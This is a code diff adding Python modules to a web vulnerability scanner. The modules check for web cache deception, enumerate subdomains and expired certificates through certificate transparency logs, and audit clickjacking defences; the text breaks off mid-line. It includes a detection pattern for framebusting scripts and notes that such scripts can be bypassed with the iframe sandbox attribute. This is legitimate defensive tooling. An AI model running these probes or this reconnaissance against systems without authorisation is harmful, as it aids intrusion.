timing_anomaly = self._timing.is_anomalous(elapsed, 2.5) + sev = "Critical" if timing_anomaly else "Medium" + cvss = 8.0 if timing_anomaly else 5.4 + self.add_vuln( + title="Web Cache Deception โ€” Static Extension Serves Dynamic Content" + + (" (Timing Anomaly)" if timing_anomaly else ""), + severity=sev, + category="Cache Poisoning", + cvss_score=cvss, + description=f"Appending '.css' to the path returns a 200 response with non-CSS content. " + "If the CDN caches this based on extension, an attacker can trick users into " + "leaking sensitive data via cached responses.", + remediation="Configure the cache to not cache based on file extension alone. " + "Use Cache-Control: no-store for sensitive pages. Reject or redirect unknown paths.", + evidence=f"GET {test_url} returned {status} with Content-Type: " + f"{resp_headers.get('Content-Type', 'N/A')}", + payload=deception_path, + request_details=f"GET {test_url}", + response_details=f"Status: {status}, Content-Type: " + f"{resp_headers.get('Content-Type', 'N/A')}", + confidence="Medium", + cwe_ids=["CWE-444"], + owasp_category=self._owasp, + ) + except Exception as e: + self.log("ERROR", f"[CachePoison] Web cache deception test error: {e}") diff --git a/backend/scanners/cert_transparency_scanner.py b/backend/scanners/cert_transparency_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..98cc90f3584ca689015030384fdc7142386b4aa4 --- /dev/null +++ b/backend/scanners/cert_transparency_scanner.py @@ -0,0 +1,70 @@ +""" +cert_transparency_scanner.py โ€” Certificate Transparency Scanner +""" +import json, urllib.request +from scanners.base_scanner import BaseScanner + +class CertTransparencyScanner(BaseScanner): + SCANNER_NAME = "Certificate Transparency Scanner" + _SCANNER_KEY = "cert_transparency" + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + + def run(self) -> list: + self.log("INFO", f"[CertTransp] Querying crt.sh for {self.domain}...") + try: + url = f"https://crt.sh/?q=%25.{self.domain}&output=json" + req = urllib.request.Request(url, headers=self._make_headers()) + with urllib.request.urlopen(req, timeout=15, context=self.get_ssl_context()) as r: + data = json.loads(r.read().decode("utf-8", errors="ignore")) + except Exception as e: + self.log("WARNING", f"[CertTransp] crt.sh query failed: {e}") + return self.vulns + + if not data: + self.log("INFO", "[CertTransp] No CT log entries found.") + return self.vulns + + # Extract unique subdomains + subdomains = set() + for entry in data: + name = entry.get("name_value", "") + for line in name.split("\n"): + line = line.strip().lower() + if line and line != self.domain and self.domain in line: + subdomains.add(line) + + if len(subdomains) > 5: + self.add_vuln( + title=f"Certificate Transparency: {len(subdomains)} Subdomains Discovered", + severity="Low", category="Reconnaissance", cvss_score=0.0, + description=f"CT logs reveal {len(subdomains)} subdomains for `{self.domain}`:\n\n" + + "\n".join(f"- `{s}`" for s in sorted(subdomains)[:30]), + remediation="Audit all discovered subdomains. Decommission unused ones. " + "Use wildcard certs sparingly as they expose the full scope of your infrastructure.") + + # Check for expired certs + from datetime import datetime, timezone + expired = [] + for entry in data[:50]: + try: + not_after = entry.get("not_after", "") + exp_date = datetime.strptime(not_after, "%Y-%m-%dT%H:%M:%S").replace(tzinfo=timezone.utc) + if exp_date < datetime.now(timezone.utc): + cn = entry.get("common_name", "unknown") + if cn not in [e[0] for e in expired]: + expired.append((cn, not_after)) + except Exception as e: + self.log("ERROR", f"[CertTransp] entry parsing error: {e}") + continue + + if expired: + self.add_vuln( + title=f"Expired Certificates Found ({len(expired)})", + severity="Low", category="Certificate Management", cvss_score=3.5, + description=f"Expired certificates in CT logs:\n\n" + + "\n".join(f"- `{cn}` expired {d}" for cn, d in expired[:10]), + remediation="Renew or revoke expired certificates. Use automated renewal (Let's Encrypt, certbot).") + + self.log("SUCCESS", f"[CertTransp] Found {len(subdomains)} subdomains, {len(expired)} expired certs.") + return self.vulns diff --git a/backend/scanners/clickjacking_scanner.py b/backend/scanners/clickjacking_scanner.py new file mode 100644 index 0000000000000000000000000000000000000000..20bccb71b26d6dd5e07258a8e9ba0b0fd676b922 --- /dev/null +++ b/backend/scanners/clickjacking_scanner.py @@ -0,0 +1,179 @@ +""" +clickjacking_scanner.py โ€” Clickjacking Vulnerability Scanner +============================================================= +Detects clickjacking vulnerabilities through multiple vectors: + - X-Frame-Options header (DENY / SAMEORIGIN / ALLOWFROM) + - CSP frame-ancestors directive + - JavaScript framebusting code detection + - Attempts to verify if the page can actually be framed + - Scores the overall clickjacking protection level +""" +import re +import urllib.request +import urllib.error +from scanners.base_scanner import BaseScanner + +FRAMEBUSTING_RE = re.compile( + r"(top\.location|self\.location|parent\.location|" + r"window\.top\s*!==\s*window\.self|" + r"if\s*\(\s*window\s*!==\s*window\.top|" + r"if\s*\(\s*self\s*!==\s*top)", + re.I +) + + +class ClickjackingScanner(BaseScanner): + SCANNER_NAME = "Clickjacking Vulnerability Scanner" + _SCANNER_KEY = "clickjacking" + + def __init__(self, scan_id, target, domain, **kwargs): + super().__init__(scan_id, target, domain, **kwargs) + + def run(self) -> list: + self.log("INFO", f"[Clickjacking] Auditing clickjacking protection on {self.target}...") + try: + headers, body = self._fetch() + self._audit(headers, body) + except Exception as e: + self.log("ERROR", f"[Clickjacking] Audit error: {e}") + + self.log( + "SUCCESS" if not self.vulns else "WARNING", + f"[Clickjacking] Audit complete. {len(self.vulns)} issue(s).", + ) + return self.vulns + + def _fetch(self): + body, status, resp_headers = self._make_request( + self.target, + headers={"User-Agent": "LarShield/2.0 Clickjacking-Audit"}, + return_response_obj=True, + ) + headers = {k.lower(): v for k, v in resp_headers.items()} if resp_headers else {} + return headers, body or "" + + def _audit(self, headers: dict, body: str): + xfo = headers.get("x-frame-options", "").upper() + csp = headers.get("content-security-policy", "") + has_framebusting = bool(FRAMEBUSTING_RE.search(body)) + + xfo_protected = xfo in ("DENY", "SAMEORIGIN") or xfo.startswith("ALLOW-FROM") + csp_protected = "frame-ancestors" in csp.lower() + + if not xfo: + self.log("WARNING", "[Clickjacking] X-Frame-Options header is missing") + self.add_vuln( + title="Missing X-Frame-Options Header", + severity="Medium", + category="Clickjacking", + cvss_score=5.4, + description=f"The response from `{self.target}` does not include an " + "`X-Frame-Options` header. Without this header (or a CSP frame-ancestors " + "directive), the page can be embedded in an iframe on any origin, " + "enabling clickjacking attacks.", + remediation="Add to your web server configuration:\n" + " Nginx: add_header X-Frame-Options \"DENY\" always;\n" + " Apache: Header always set X-Frame-Options \"DENY\"\n" + "Or use CSP: Content-Security-Policy: frame-ancestors 'none';", + evidence="X-Frame-Options header missing from response", + request_details=f"GET {self.target}", + response_details="No X-Frame-Options header", + confidence="Confirmed", + ) + elif xfo == "ALLOWALL" or xfo.startswith("ALLOW-FROM"): + self.add_vuln( + title=f"X-Frame-Options Set to Permissive Value: '{xfo}'", + severity="Medium", + category="Clickjacking", + cvss_score=4.3, + description=f"The `X-Frame-Options` header is set to `{xfo}`, which " + "may allow framing from specific or all origins depending on the value. " + "ALLOW-FROM is also deprecated and ignored by Chrome/Safari.", + remediation="Use X-Frame-Options: DENY or SAMEORIGIN. " + "For fine-grained control use CSP frame-ancestors instead.", + evidence=f"X-Frame-Options: {xfo}", + request_details=f"GET {self.target}", + response_details=f"X-Frame-Options: {xfo}", + confidence="High", + ) + else: + self.log("SUCCESS", f"[Clickjacking] X-Frame-Options: {xfo}") + + if not csp_protected: + if xfo_protected: + self.add_vuln( + title="CSP frame-ancestors Missing (X-Frame-Options Present as Fallback)", + severity="Low", + category="Clickjacking", + cvss_score=2.0, + description="X-Frame-Options is set correctly, but the CSP header does not " + "include `frame-ancestors`. CSP frame-ancestors supersedes X-Frame-Options " + "in modern browsers and provides finer-grained control.", + remediation="Add: Content-Security-Policy: frame-ancestors 'none'; " + "for defence-in-depth.", + evidence="CSP header present but no frame-ancestors directive", + request_details=f"GET {self.target}", + response_details="CSP missing frame-ancestors", + confidence="Medium", + ) + else: + fa_match = re.search(r"frame-ancestors\s+([^;]+)", csp, re.I) + if fa_match: + fa_value = fa_match.group(1).strip() + if fa_value in ("*", "http: https:"): + self.add_vuln( + title=f"CSP frame-ancestors Allows All Origins: '{fa_value}'", + severity="High", + category="Clickjacking", + cvss_score=7.4, + description=f"The CSP `frame-ancestors` directive is set to `{fa_value}`, " + "allowing any origin to embed this page in an iframe.", + remediation="Set: frame-ancestors 'none'; or frame-ancestors 'self';", + evidence=f"frame-ancestors: {fa_value}", + payload=fa_value, + request_details=f"GET {self.target}", + response_details=f"CSP frame-ancestors: {fa_value}", + confidence="Confirmed", + ) + else: + self.log("SUCCESS", f"[Clickjacking] CSP frame-ancestors: {fa_value}") + + if has_framebusting and not (xfo_protected or csp_protected): + self.add_vuln( + title="JavaScript Framebusting Only โ€” Bypassable Clickjacking Protection", + severity="Medium", + category="Clickjacking", + cvss_score=5.4, + description="The page relies solely on JavaScript-based framebusting code " + "(e.g. `if (top !== self) top.location = self.location`). " + "This can be bypassed via the `sandbox` attribute on iframes: " + "`